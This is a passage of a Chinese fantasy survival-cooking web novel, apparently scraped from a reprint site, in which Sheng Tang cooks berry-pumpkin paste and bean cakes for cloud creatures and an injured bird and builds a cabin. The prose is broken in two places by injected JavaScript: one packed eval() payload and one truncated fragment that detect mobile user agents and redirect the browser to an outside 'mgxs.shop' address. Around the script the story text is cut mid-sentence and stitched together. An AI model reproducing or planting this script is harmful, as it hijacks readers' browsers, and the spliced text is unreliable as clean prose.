0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16975687|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想都知道哪个上最佳答案啦。”盛棠小声嘀咕。 时间紧迫,明显是熬酸膏更实际,可心里总还是声音却有点放不下“发酵”这个念头。 刚到地球那会儿,他可是贵州红酸汤的忠实拥护者呀。那种自然发酵出的酸,醇厚又活泼,还带着点隐隐的果香。不管是煮鱼还是涮菜,一口下去,酸辣滚烫,从喉咙一直暖到胃里,连带着骨头缝里那有点发凉的地方都跟着舒坦啦不少。 盛棠瞥了一眼旁边依然用屁股对着他的肥啾。小家伙的伤翅是固定好了,窝也弄得软乎乎的,可这浮空岛昼夜温差吓人的很,它看起来又是只活泼好动的小鸟儿,肯定更需要一口热乎乎的的汤水吧? 而且它那么嫌弃同类的骨头汤……似乎,也只有红酸汤可以试一试啦? 盛棠心思活络起来。虽然发酵要等的时间是长了点,可一旦成了,那就是能随时取用的酸汤底子。 到时候用这酸汤,混合土豆泥或者别的什么,给它弄点酸酸鲜鲜、又带着发酵暖意的流食,说不定它就能接受了? 就算接受不了,那也总比没有强啊。 而且……万一成功了,不仅肥啾有口福,他自己不也能解解馋,重温一下故乡的味道么? 说干就干,盛棠立刻将这一堆野生莓果分成啦一大一小的两堆。 他先将数量较多的那一堆仔细铺在洗净的叶子上,暂且放在一旁的高石上。接着,他取出一个今天刚从树上摘下来的玻璃罐,里外仔细清洗干净,然后把它倒扣在尚有余温的石板上。 罐内的水珠遇热迅速蒸腾,白蒙蒙的雾气顿时蒙满了玻璃内壁。 盛棠耐心等了一会儿,估摸著罐子内部已经基本烘干,这才用树枝筷子小心翼翼地将罐子夹起、摆正。 随后,他开始往罐子里一层莓果、一层九层塔嫩叶地交错铺放,直到将罐子填得满满当当,最后才注入烧开后又稍稍放凉的清水,拧紧了瓶盖。 正当他忙完了这发酵的前期步骤,准备去处理那堆主要的莓果时,眼角的余光却瞥见一团毛茸茸的影子悄无声息的跃上了高石。 那毛茸茸的小脑袋微微一低,精准的叼起一颗最圆润饱满的果子,“嗷呜”就是一小口。 “喂!别吃!”盛棠被吓的心里一咯噔,连忙出声制止,“那个太酸——” 话还没说完,就见肥啾浑身绒毛一炸,像颗被突然拍了一下的蒲公英球,“噗”地把刚啄了个小缺口的果子吐在地上。 它整张毛脸都皱成了一团,小胸脯剧烈起伏,仰天长啾:“啾啾!啾啾!啾啾——!!!” 13. 莓果南瓜酸膏 云团团们愣了一愣,随即云絮轻轻颤抖,发出了一连串细碎又欢快的噗噗声。 “噗——啾啾被酸到跳起来了!” “像颗毛毛球在弹弹!” “好笨啾啾!明明闻着就酸酸的还敢咬!” 肥啾被气得啾啾直咳,小小的身子原地一蹦哒,转了个180度,小脑袋朝上一昂,一双黑豆眼就直直的对上了盛棠。 那只完好的翅膀刷地竖起,颤颤微微的指向那一墙笑得云絮乱颤的云团团们:“啾啾!啾啾啾!!!” 它一边叫着,一边还气得炸起了浑身的绒羽,整只鸟看起来都蓬松了一大圈。 地面也跟忽然变烫了似的,它左右爪交替着金鸟独立着,抬起的那只小爪子踩在盛棠的小腿上,泄愤似的跺了跺。 它跺的可用力啦!可那么小小的一团,能有什么分量?踩在盛棠身上就跟绒毛拂过似的,不但毫无痛感,反而有点痒痒的。 云团团们见状,笑得更大声了,整片云朵墙壁都跟着微微起伏,像是被一阵风吹乱了形状。 “炸毛了炸毛了!变成更大团的毛球啦!” “哇啊啊!它好坏呀,居然踩踩精灵!” “啾啾啾啾,你不要饭啦!你怎么能打自己的衣食父母呢!” 盛棠看着跟前这只被气得体积都大了一圈的小肥啾,赶紧把气得鼓鼓的小肥啾捧到面前,直视着它那双委屈的豆豆眼,放软了声音哄道:“乖,我们不跟那些坏云云一般见识。等会儿,我就把这些酸溜溜的莓果,变成香香甜甜……嗯,至少是变得很好吃的点心,给你当补偿好不好?” 云团团们一听盛棠这么说,立刻不干了,云絮气鼓鼓地涌动起来,发出抗议的声音。 “精灵偏心!我们才不是坏云云!” “就是就是!我们是最好的云云!还给精灵水水呢!” “精灵要哄啾啾,也要哄云云!” “啾啾有补偿的!云云也要有!” “对!云云被说了,云云伤心了,云云起不来了!” 说着,云团团们齐刷刷的朝着流石上一瘫,慢悠悠地左右滚动起来。 活像一群耍赖躺倒的白色毛团,还是那种会自己蠕动的。 盛棠看得目瞪口呆,半晌,才鼓起了腮帮子,露出苦恼的神色。 这、这就是传说中毛孩子多的烦恼吗? 以前刷手机视频,他就好羡慕那些养了一屋子猫猫狗狗的博主们。家里闹腾起来鸡飞狗跳的,一看就热闹极了。 可现在…… 盛棠忽然笑了起来,连眼睛弯成了月牙。 真好啊!他喜欢这种热闹! 不过,再闹下去,天色可真的要晚了!要是拿不到足够多的材料,造不出防风的小木屋,不止他自己要倒霉,恐怕连云团团们和小肥啾都得跟着遭殃。 想到这里,盛棠定了定神,故意板起小脸,把两团带着点婴儿肥的腮帮子往前一顶,装出一副“我很生气”的样子,提高声音道:“都——别——闹——啦!再闹,好吃的可就真没份儿啦!” 话音刚落,地上那片正滚得起劲的云毯子瞬间静止了,然后默契的爬了起来,飘回到半空。 它们可是有见识的云云!隔壁山头的沃尔沃说过,它遇到的那个精灵虽然平时脾气顶好,可一旦较起真来,那脾气也是顶顶大的!而且说一不二,说不给甜露珠就真的一百年不给! 嗯!它们这里的精灵,秉性应该差不多吧?为了那一口魔法香香,它们可以是识时务的好云云! 盛棠见大家伙儿都安静了下来,终于松了口气。 他先是把小肥啾放回了云絮窝里,拿起被搁置在一旁的手机,才发现,【莓果酸掉牙】居然又给他发起了一笔交易。 【莓果酸掉牙】:啊啊啊!亲爱的美食家朋友!你是不是还在跟那堆酸果子奋斗? 【莓果酸掉牙】:是不是特别酸!特别棘手!没关系没关系!千万别有压力! 【莓果酸掉牙】:我刚刚手气好像回转了一点,从资源区又摸到了两个大南瓜!虽然比不上肉,但……食材越多,你越有发挥空间对不对?我相信你一定能搞定对不对!对不对!(眼巴巴等待投喂.jpg) 【莓果酸掉牙】发起交易:【南瓜】*2 盛棠眨眨眼,噗嗤笑了一下,接受交易。 【南瓜*2】 【分类:食材】 【状态:有点蔫巴】 【介绍:常见的冬季储备型瓜类。淀粉含量高,质地粉糯,自带温和的天然甜味。可蒸、煮、烤、煎,也能作为馅料或混合主食,是填充胃袋、提供基础能量的可靠选择。】 【备注:虽然看起来有点“舟车劳顿”的疲态,但依然是踏实可靠的南瓜君。在缺乏甜味剂的当下,它的天然甜味值得珍惜。】 “天然甜味!”盛棠的耳朵尖儿“咻”地一下立了起来,耳根处也激动地泛起了淡淡的粉色,“这可真是……得来全不费功夫哇!” 他正发愁该如何熬制那锅注定会酸掉牙的莓果膏呢!没有糖或蜂蜜来中和平衡,光靠熬煮浓缩,最终的成品恐怕会酸涩得难以下咽,最多只能当作极度浓缩的调味醋来使用。 不过,他那个时候就已经想好了备用方案啦——动用那个边缘有点发霉的戗面馒头。 馒头是淀粉做的,理论上可以通过一些方法转化出糖分。 虽然“人类不浪费任何一个馒头”这句话更多是种调侃,但为了最终成品的口感,他也只有硬着头皮去相信【莓果酸掉牙】能有一颗钢铁肠胃啦。 不过,现在完全不用纠结啦!这两个带着天然甜味的大南瓜完美解决了燃眉之急! “真好!”盛棠乐呵呵地拍了拍两个南瓜敦实的肚皮,凑上去大大的亲了一口。 时间不等人,盛棠赶紧把其中一个南瓜的外皮用水洗了,用小刀切下约十分之一块,挖掉瓜瓤和籽,然后瓤面朝下的放在了那块石板上。 石板已经被放在这空烧了许久,表面烫得惊人,手一靠近就被那温度刺激的火速撤开。 湿润的南瓜瓤无知无觉的落在石板上,瞬间,一股浓烈的甜香轰然腾起,迅速弥漫开来。 “哇——!” 原本还在不远处观望的云团团们瞬间被这甜蜜的香气牢牢抓住了心巴。 大片大片的云絮不由自主地向前涌动,趴在石板周围,几个胆子大的云团团几乎都要贴上去。 “香!好香!是云云喜欢的香香!” “暖暖的,甜甜的,像……像晒饱了太阳的云朵芯子的味道!” “好舒服!这个味道好!” “精灵精灵,这个是什么?可以吃吗?云云能尝一点点味道吗?” 连窝在云絮小窝里打盹的肥啾也抬起头,半个身子探出窝沿,黑豆眼睁得溜圆,小脖子伸得老长,鼻翼不停地翕动着,恨不得把空气中每一丝甜香都吸进肚子里。 盛棠笑了笑,转身将剩下的那堆酸涩莓果一股脑地倒在了石板另一侧。 极具攻击性的酸涩气息轰然炸开,蛮横地冲散了刚刚聚拢的甜香,劈头盖脸地袭向那些凑得过近的云团。 “呜哇——!!!” “讨厌!好酸好冲!” “鼻子!云云的鼻子要酸掉啦!” “是那个坏果子!坏果子又来啦!” “快跑快跑!这个味道有攻击性!” 云团团们被这突如其来的酸味袭击打得措手不及,忙不迭地向后飘退,缩回了安全的距离。 云絮边缘惊魂未定地颤抖着,仿佛那酸味是有实体的小针,扎得它们全身酸痛。 肥啾也猛地打了个小喷嚏,把脑袋缩回窝里一点,但眼睛还死死盯着石板,似乎还在犹豫。 “别怕呀。”盛棠却笑的信心十足,“这只是它们还没熟悉彼此的味道,闻起来有点打架而已。等它们好好认识一下,味道就会变得很好闻啦!” 云团团们将信将疑,哼哼唧唧地挤在一起,远远观望。 精灵这话可不太靠谱!那么酸和那么甜,怎么可能变成好朋友嘛? 盛棠也不多解释,用小刀不断的碾压混着南瓜泥和莓果浆。 滚烫的石板持续着将两种食材中的水分快速逼出,空气中“滋滋”的声响不绝于耳。 忽然,观望着的云团团诧异的抖了一下。 那股吓到他们的尖锐酸味似乎真的消失了!只剩下一点点浅浅的酸气,被甘甜味包裹着,闻起来清新极了! “咦?味道……好像变了?” “酸酸的味道还在,但是不刺云云了……” “甜甜的味道也还在,但是不腻云云了……” “它们……真的变成好朋友的味道了!好奇妙!” “好像……好像更好闻了!香香的,暖暖的,还有点让人流口水?” 云团们又开始蠢蠢欲动,小心翼翼地、一点点地重新向石板飘近。 肥啾也重新把整个小身子探了出来,眼神发亮,喉咙里发出细微的咕咕声。 盛棠看着手中已经充分混合的果泥,又瞥了瞥周围重新聚拢的围观群众,脸上的笑容扩大了好些,还染上了一层小小的得意。 “看,我没骗你们吧?”他擦了擦额角的汗,“接下来,就是最后的定型魔法了!” 他将石板从火上移开少许,利用余温继续烘干混合果泥,并用工具将其整理成规整的厚片。 等到石板上的混合果泥被烘烤得彻底失去水分,紧紧抱成一团厚实的膏块后,盛棠才用石片小心地将其整体铲起,挪到了早已准备好的叶片上,摊开晾凉。 石板上还粘着薄薄一层焦香的膏体,本着绝不浪费的原则,盛棠仔细地刮了下来,在叶片上团了团,最后拢成了三颗山楂丸大小的小丸子。 盛棠迫不及待地捡起一颗送入口中。 唔……酸不刺口,甜而不腻,回味中还带着一丝若隐若现的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995277|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类似果脯的焦糖香气。口感扎实,越嚼越香! 【叮!成功研发并制作【酸甜莓果南瓜膏】】 【食用效果:高能量浓缩食物。一次可提供饱腹值+17。附加复合状态。】 【状态一:再见了妈妈!今天我就要跟酸过活!】未来72小时内,食用酸味食物或饮料时,酸味感知大幅降低,适应性显著增强,可从容应对高酸度饮食。 【状态二:精壮如牛!】未来72小时内,基础精力值自然下降速度减缓50%,从事体力活动后的精力恢复速度小幅提升。 盛棠震惊了,他着实没想到,这看似普通的混合果膏,竟然能产生如此神奇又实用的双重增益效果! 尤其是那个【再见了妈妈!今天我就要跟酸过活!】,简直像是为那位被酸涩莓果困扰的【莓果酸掉牙】量身定做的! 有了这个状态,对方在短时间内至少不会再因为身边只有酸掉牙的野果而饿肚子了! “这效果……太实用了!”盛棠心中惊喜万分,感觉之前所有的折腾和尝试都值回了票价。 衣袖被轻轻扯动了一下,盛棠低头看去,那只小肥啾又从云絮窝里蹭了过来,正挨着他的小腿,仰着毛茸茸的小脑袋,眼巴巴地望着他。 它张开嘴巴,刚想要啾,肚子就发出了好长一声“咕——”。 “啾!”肥啾浑身绒毛一炸,像是被踩了尾巴,又羞又恼,猛地转过身,用毛茸茸的后背对着盛棠。 可刚背过去不到两秒,它似乎又觉得哪里不对劲。 背对着的话,不就看不到好吃的了吗? 于是它又极其别扭的把小脑袋扭了回来,只斜过一只黑亮的豆豆眼,用凶巴巴的眼神瞪着盛棠。 盛棠立刻心领神会,强忍住嘴角不断上扬的弧度,拿起一颗酸膏儿丸子,递到小肥啾面前。 “好啦好啦,知道啦,饿着我们的小功臣了是不是?”他放柔了声音,“来,尝尝这个,小心烫哦。” 肥啾警惕地瞄了瞄那它已有心理阴影的酸膏球球,歪着小脑袋,试探性地往前凑了两步,用尖尖的喙极快地啄了一丁点儿,含在嘴里砸吧两下。 然后,它那黑豆似的眼睛倏地一亮! 下一秒,它便放心地一口叼住整块酸糕,欢快地仰脖吞了下去,还意犹未尽地咂咂嘴,凑过来用毛茸茸的脑袋蹭了蹭盛棠的手指,眼巴巴地望着叶子里的那些。 盛棠这才松了口气。肥啾也喜欢呢,那一定是真的好吃吧! 他小心翼翼地将叶片上已晾至温凉的大块莓果南瓜膏切割成大小均匀的厚片,然后连同详细的食用效果说明,一起打包发送给了望眼欲穿的【莓果酸掉牙】。 【尖耳朵美食家】:哈喽哈喽,酸膏儿做好啦!我想,这个增益BUFF你应该很喜欢? 几乎是瞬间,【莓果酸掉牙】的消息就弹了回来。 【莓果酸掉牙】:啊啊啊啊啊啊啊!天啦!神了哈哈哈哈哈哈哈!真的神了哈哈哈哈哈哈!美食——不!BUFF神!请接受我的顶礼膜拜吧!! 【莓果酸掉牙】:BUFF神!你放心!我一定会好好宣传的!你的美食铺子一定会越办越好!越好!(交易完成,获得:石材*40) 【莓果酸掉牙】:BUFF神!多的20是我的诚意!跪求长期合作! 盛棠摸了摸自己的耳朵尖尖,羞红了脸。 啊……有这么夸张嘛?他只是做了自己应该做的事情啊。 不过,有40块石材了,距离他建造小木屋又更近一步啦! 盛棠打了个大大的哈欠,眼角沁出一点生理性的泪花。肩颈处传来了有些严重的拉扯感。他把左手搭在右侧肩膀上,力道适中地揉捏了几下紧绷的肌肉,又抡着右胳膊在空中慢慢画了几个圈,这才看向手机:【饱腹值:77/100】 盛棠抿了抿嘴,带着点婴儿肥的脸颊微微鼓起,眉梢不自觉地压低了些。 “真是没想到,熬制这点酸膏儿,居然这么耗费体力……”他小声嘀咕。 按照原计划,处理完酸莓就该立刻攻克豆饼难题的。可现在看来,无论是精神还是体力,都需要稍作休整了。豆饼的处理,今天怕是来不及完成的。 “得先把泡着的豆饼挪到帐篷里去,”他抬头看了看逐渐染上暮色的天空,开始盘算,“晚上气温低,万一表面结上一层冰碴,或者冻实了,那之前的泡发功夫可就白费了。” “嗯,小家伙也得挪进去,它翅膀有伤,抵抗力弱,可不能在外面挨冻。” “材料要需要清点一下了,这几天的东西又多又杂,还有没开的箱子也要处理一下……” 正思考着,握在掌心的手机又轻轻震动了一下。 盛棠低头看去,屏幕上赫然显示着那个他等待已久的ID发来的最新回复。 【救救我,岛上只有石头怎么办】:有的朋友!有的!石头这种东西,你要多少我这就有多少!你那有什么能换的呢? 14. 空投组组长云朝暮 盛棠摇摇头:“它不算植物啦,是更古老的大地的馈赠。那种埋藏在地下千万年的森林,经过漫长的变化才形成的宝贝。” 云团子们似懂非懂的点了点头,呼啦啦的围着那团热乎乎的火焰飞上飞下。 盛棠环顾四周,夜色已深,风也带上了一丝不容忽视的凉意。 他掏出手机,打开建造界面,一条系统提示弹了出来 【检测到材料充足,是否立即建造“温馨小木屋”?】 【是/否】 指尖轻点上【是】。 霎那间,堆放在空地上的木材和石材被一股无形的力量牵引,悬浮而起,在柔和的微光中开始自动拼接、垒砌。木材构成框架,石材填充地基和加固墙角,金属如同灵巧的双手,穿梭捆绑关键节点,还几缕洁白的云絮则轻盈地融入木屋的接缝之中,仿佛给屋子添上了一层柔和的缓冲。 整个过程安静而高效,如同快进的搭建动画。 不过十几分钟,一座带着倾斜屋顶、有一个小窗户和一个厚实木门的小木屋,便稳稳地坐落在了盛棠选定的、地势略高的平整地面上。 木屋看上去朴实无华,墙壁是原木与石头的混合体,屋顶的茅草中隐约可见点点柔白的云絮,在月光下泛着极淡的莹润光泽。 【叮!成功建造【初级坚固木屋】(融合了精灵的巧思与云朵的祝福)】 【效果:提供优良的防风、防雨、保温性能。内部空间约8平方米。特殊效果:轻微调节室内湿度与空气流通(云絮的祝福),身处屋内时,小幅提升安心感与恢复速度。】 【备注:这不仅仅是个遮风挡雨的地方,更是你在新世界的第一个‘家’。好好经营它吧!】 “家……”盛棠看着这行备注,心中涌起一股暖流。他深吸一口气,走上前,推开了那扇厚实的木门。 门轴转动发出轻微的“吱呀”声,一股带着淡淡木头清香和一丝奇异暖意的空气扑面而来。屋内没有照明,但透过那个用某种透明材质嵌好的小窗户,月光流泻而入,足以让他看清内部。 空间比他想象的更宽敞一些。地面是压实的泥土,但干燥平整。墙壁是原木与石材的内侧,接缝处被植物纤维和隐约的云絮填满,显得严丝合缝。 屋顶内侧也能看到整齐的椽子和厚实的茅草层。整个屋子给人一种坚固、干燥、安全的感觉。 那个“小幅提升安心感与恢复速度”的效果似乎并非虚言,仅仅是站在里面,盛棠就感觉精神上的疲惫被抚平了些许。 他往窗户边上一站,第一眼就看到了角落里的帐篷。 它依旧支在那里,门帘敞开着。里面,木炭“暖手宝”散发着安定的暗红色光晕,映照着云絮窝里一团毛茸茸的身影。小肥啾蜷成一团,睡得正沉,几乎能听见它细微又平稳的呼吸声。 盛棠没有走进去打扰,只是倚在门边,静静看着。 屋外隐约的风声被厚实的墙壁滤去大半,只剩下一片令人心安的静谧。煤块在门外的火堆里稳定燃烧,偶尔传来一声轻微的“噼啪”。 疲惫后知后觉地涌上全身,坠的他眼皮沉甸甸的往下落。 盛棠打了个哈欠,决定今晚就在木屋的地上铺上干燥的软草和备用的树叶,凑合一夜。明天,再好好规划屋内的布置,处理剩下的豆饼,也许还能用多出来的材料做个简易家具。 他最后检查了一下门闩是否牢固,又透过小窗户看了一眼外面安静燃烧、添了煤后显得格外沉稳的火堆,以及不远处那片在夜色中静静悬浮、似乎也在“休息”的□□。 够了。这就足够好了。 几乎在躺下的瞬间,眼皮就沉沉合拢。 在陷入沉睡前的最后一瞬模糊念头是:真好,终于……可以睡个踏实觉了。 …… 清晨的第一缕微光透过小木屋的树脂窗户,柔柔地洒在盛棠脸上。他迷迷糊糊地醒来,感觉这一觉睡得格外深沉踏实,连日的疲惫被扫空了大半。 习惯性地伸手去摸枕边的手机,指尖刚碰到屏幕,就被一连串密集的震动提示惊得彻底清醒。 点亮屏幕,私聊信箱被一个ID疯狂刷屏。 【豆饼砸死我】:大佬!在吗在吗在吗? 【豆饼砸死我】:昨天说好的豆饼……(对手指.jpg) 【豆饼砸死我】:大佬你还在吧?不会出什么事了吧?(担忧) 【豆饼砸死我】:天亮了……大佬你是不是忘了?(小心翼翼) 【豆饼砸死我】:大佬!回我一下啊!豆饼是不是太难搞了?不行的话……一半也行啊!(泪目) 【豆饼砸死我】:完了完了,大佬带着我的豆饼跑路了……(生无可恋.jpg) 几十条消息,时间从半夜跨度到刚才,语气从期待到担忧再到绝望,充分展现了一个守着硬豆饼、望眼欲穿等拯救的可怜人心路历程。 盛棠看得哭笑不得,赶紧回复。 【尖耳朵美食家】:在的在的,刚醒。豆饼还在泡发,需要时间,今天肯定能给你,放心。 消息几乎秒回。 【豆饼砸死我】:!!!大佬你终于出现了!(爆哭.jpg)吓死我了!我以为你嫌豆饼太麻烦,带着我的木材跑路了!没事就好,没事就好!我今天就守着交易栏了!(乖巧等待.jpg) 盛棠笑了笑,能想象到对方松了口气的样子。他回了句“好了叫你”,便伸了个大大的懒腰,骨骼发出轻微的脆响,浑身舒坦。 推开木门,清新的晨风混着草木气息涌来。天色已经大亮,云团子们早已活跃起来,见到他出门,立刻欢快地围拢过来,云絮轻快地起伏飘动。 “精灵早呀!” “太阳晒屁股啦,懒精灵!” “新房子住着暖和不暖和?” 盛棠笑着和它们打过招呼,走到水洼边掬水洗漱。清凉的水让精神为之一振。洗漱完毕,他惦记着帐篷里的小伤员,便转身朝角落的帐篷走去。 掀开门帘,只见小肥啾依旧团在云絮窝里,只是那模样…… 小小的身子似乎比昨晚更缩瑟了些,原本精神的黑豆眼此刻显得湿漉漉、雾蒙蒙的,眼神无力地追随着他,喉咙里发出细弱又委屈的“啾……啾……”声。那叫声都拖长了调子,有气无力。 它看到盛棠伸手过来,也只是勉强抬起小脑袋,在他指尖轻轻蹭了蹭,然后像是耗尽了力气般,软软地垂落下去,搁在他温热的手心里,不动了。 盛棠心里“咯噔”一下,吓了一跳。昨天看着还好好的,怎么过了一夜,反而更严重了?难道是伤口感染,或者夜里着了凉? “怎么了这是?”他连忙小心地托起肥啾,用手指轻轻检查它受伤翅膀的根部,又摸了摸它的小肚子,“哪里不舒服?昨晚不是还挺暖和吗?” 肥啾只是半闭着眼睛,虚弱地“啾”一声,一副病入膏肓、我见犹怜的小模样。 盛棠急得抬头,看向帐篷外飘进来好奇张望的云团子们:“你们知道它怎么了吗?昨晚是不是不舒服了?” 云团子们瞬间一僵,原本流畅飘动的云絮都卡顿了一下。它们你看看我,我看看你,云絮彼此轻碰,发出细微的“簌簌”声,分明是在交流,但就是没云开口。 “嗯?”盛棠更疑惑了,“怎么了?有什么不能说的吗?” 就在这时,他眼角余光敏锐地捕捉到,在他掌心装虚弱的小肥啾,趁他不注意,飞快地抬起眼皮,朝那群云团子丢去一个极其“凶悍”的瞪视! 那眼神里充满了无声的威胁,仿佛在说:敢说出去试试! 虽然只是一瞬,但盛棠已经看得清清楚楚。 他先是一愣,随即恍然大悟,差点没绷住笑出来。 好嘛,原来是在这儿跟他演戏呢!这小家伙,恐怕是看昨天大家都围着好吃的转,有点被冷落了,又或者纯粹是伤患想撒娇求关注,居然联合云团子们一起演了这出“病重”的戏码。 盛棠心里有了底,面上却不动声色,甚至眉头皱得更紧了,语气也染上浓浓的担忧:“唉……看这样子,怕是伤情恶化了。伤口在里面,我又看不见……” 他故意叹了口气,用指腹抚摸着肥啾的小脑袋,声音充满了无奈和心疼:“我一个人,也不是兽医,不会看啊。这小家伙这么难受,耽误了可不行……看来,还是得想办法把它送到专业的人那里去看看才好。” 他话音一落,帐篷内外瞬间安静。 肥啾装虚弱的身体几不可察地僵硬了一瞬。 云团子们则仿佛接到了什么信号,立刻有“聪明云”接话,声音还带着点恰到好处的犹豫和透露:“精灵……其实,云云知道今天可能会有厉害的人经过附近哦。” “对对!是个……嗯,很厉害的人!但是……”另一朵云配合地压低声音,“但是他好凶好冷的!板着脸,不说话的时候,比上个月那场寒潮还冻云云!” “让他治伤的话,啾啾会不会被冻僵呀?” “可是不治的话,啾啾的伤势就好不了啦!那岂不是更加糟糕?” “啊啊啊!好难办好难办!精灵精灵,你说该怎么办呀!” 盛棠立刻配合地露出了极度心疼和纠结的表情,看看掌心“虚弱”的肥啾,又看看云团子们,挣扎道:“这么冷啊……可是,不治又不行……我们啾啾这么小,这么娇弱,怎么受得了那种寒气呢?” 他语气充满了不舍,仿佛在进行天人交战,“但为了它的健康……唉,算了,冻僵也比伤口恶化好。等那位……路过的时候,还是麻烦你们帮忙送过去看看吧。” 他这话说完,掌心那团“虚弱”的毛球,终于装不下去了。 只见肥啾猛地抬起头,黑豆眼瞪得溜圆,哪还有半点湿漉漉的病态,精神得不得了。 它“噌”一下站起来,在盛棠手里气鼓鼓地踩了两下,小翅膀甚至试图叉腰,仰着脖子,中气十足地发出一连串清脆又急切的鸣叫:“啾!啾啾啾!啾——!!!” 翻译过来大概是:我好了!全好了!不用看!不准送!那个冷冰冰的吓鸟玩意儿让他离远点! 但是盛棠可听不懂啾语,虽然将小家伙那份急赤白脸的抗拒看得清清楚楚,他心里早已笑翻了天,面上却依旧绷着那副忧心忡忡的模样,顺着自己刚才的话头,继续一本正经地“犯愁”。 “唉,看它这蔫蔫的样子,肯定是难受得紧了,连扑腾都没力气……还是得送走看看才放心啊。” 云团子们这回学乖了,非常有眼力见地集体消音,一朵朵悬在半空,云絮安静地拢着,假装自己只是背景板里最普通的云,绝不插嘴这场纠纷。 肥啾这下彻底傻眼了。 它瞪圆了黑豆眼,看看盛棠那写满担忧的脸,又瞅瞅旁边一群装聋作哑、事不关己的云团子,终于后知后觉地意识到——自己这出苦肉计,非但没骗来额外的宠爱和关注,反而要弄假成真,被送到那个听起来就可怕无比的冷面兽医手里去了! 这简直是搬起石头砸了自己的鸟爪! “啾——!!!” 它气得浑身绒毛都炸开了一圈,也顾不上装虚弱了,在盛棠温热的手心里直接表演了一个“垂死病中惊坐起”,紧接着就是活蹦乱跳,小爪子踩着盛棠的掌心,发出高亢又尖锐的连环爆鸣。 “啾啾啾!啾——!!啾啾!!!” 看着瞬间“痊愈”、活蹦乱跳、还试图用喙轻轻啄他手指以示抗议的小肥啾,盛棠终于忍不住,“噗嗤”一声笑了出来,眉眼弯弯,晨光落在他脸上,柔和又明亮。 他屈起手指,用指节轻轻刮了刮肥啾气鼓鼓的小胸脯:“哦?不病了?” 肥啾:“……啾!” 它把头扭向一边,假装在看风景,但耳羽有点红。 帐篷里外,云团子们发出一片窸窸窣窣的、像是憋笑又像是松气的声音,洁白的云絮愉快地荡漾开来。 安抚好那只兀自气鼓鼓、假装看风景实则偷瞄的肥啾,盛棠将注意力转回正事。他走到帐篷角落,小心端起那碗浸泡了一整夜的豆饼碎。 经过充分的浸泡和温暖环境的催化,碗中的景象已截然不同。原本硬邦邦的豆饼碎块,此刻已完全吸饱了水分,膨胀软化,呈现出一种粗糙却湿润的糊状,用手指一捻,便能轻松碾开,散发出淡淡的、朴素的谷物气息。 “是时候了。”盛棠挽起袖子,眼中闪过期待。他打算将这些糊化的豆饼碎,转化成更易保存和食用的干粮——煎饼。 制作过程并不复杂,却需要耐心。他先将豆饼糊倒入一块洗净的粗布中,小心地包裹、挤压,滤出多余的水分,得到一团相对紧实、仍带湿润的豆饼泥。 接着,取来昨天收获的新鲜土豆,挑了两个大小适中的,就着清澈的泉水洗净,连皮放在火堆余烬旁烤熟。 待土豆外皮焦香、内里软糯,便去皮,用光滑的石块碾压成细腻温热的土豆泥。 微甜的淀粉香气随着热气迅速弥散开来,在清晨的空气中铺开一层温暖朴实的诱人味道。 云团子们“簌”地一下全涌了过来,洁白柔软的云絮好奇地簇拥在盛棠手边,围着那团金黄细腻、冒着热气的土豆泥上下轻盈跳动。 “好香!甜甜的、暖暖的香气!” “和之前的鱼香、酸香都不一样!这个味道让云云觉得好舒服!” “想吃!这个可以直接吃吗?看起来软软糯糯的!” 就连原本还在生闷气、假装看风景的肥啾,也被这阵香气勾得忘了矜持。 它先是小脑袋不自觉地转向香气来源,黑豆眼眨了眨,随即挣扎着站起身,摇摇晃晃地走了过来。它努力扑腾着那只完好的小翅膀,借着这股劲儿奋力一跳,竟也歪歪扭扭地成功“蹦”上了石板旁边的一块矮石,站稳后立刻伸长了脖子,直勾勾地盯着那团散发着诱人甜香的土豆泥,喉咙里发出细微的“咕咕”声。 盛棠被它们这副馋嘴的模样逗笑了,手上碾碎土豆的动作却没停:“先别急,这个还不能直接吃。我们在做豆煎饼呢,土豆泥是重要的,是让煎饼变得好吃的关键材料之一。” “豆煎饼?”一朵云团子困惑地卷了卷云絮,“豆煎饼不是应该用豆子吗?为什么要用这个黄黄的、软软的东西?” “对呀对呀,”另一朵附和道,云絮忍不住又靠近了些土豆泥,“这个闻起来就已经很好吃了,用来做别的东西,会不会浪费了呀?” “精灵精灵,这个有什么用呀?” 盛棠耐心地解释道:“因为我们要用的豆饼,是那种非常非常硬、像石头一样的豆饼。如果只用它来做煎饼,做出来也会硬邦邦的,口感很粗糙,不好吃也不容易消化。” 他一边说,一边将温热的土豆泥与滤干水分的豆饼泥混合在一起。 “但是加入土豆泥就不一样啦。” “土豆泥里有很多天然的淀粉,能把比较散的豆饼泥粘合在一起,让煎饼不容易散开。而且,土豆泥自己带着一点点天然的甜味和独特的香气,能让煎饼的味道更有层次。最重要的是——” 他拿起一小团混合好的面团,轻轻按扁展示,“加了土豆泥,煎饼里面会变得柔软、蓬松,口感会好很多,不会硬得磕牙啦。” 他说话间,已经将混合了土豆泥、豆饼泥、碎九层塔和少许盐的面团分好剂子,在掌心搓圆按扁,变成一个个小饼坯。石板上薄薄刷过一层油,正冒出缕缕热气。 “看,接下来,就是让这些‘小圆饼’在热的石板上,慢慢变成金黄酥脆、里面软乎乎的豆薯煎饼啦!”盛棠说着,将第一个饼坯轻轻放在了滚烫的石板上。 “滋啦——”悦耳的声音伴随着更浓郁的复合香气升腾而起,瞬间抓住了所有“围观者”的注意力。 “咦?这次的味道……不一样。”一朵云絮轻轻波动。 “暖暖的,厚厚的味道,像……像晒太阳的泥土?”另一朵试图形容。 “不刺鼻,好闻!”云朵们达成共识,放心地又凑近了些,甚至有几缕特别好奇的云絮,轻轻拂过石板边缘,感受那蒸腾的热气。 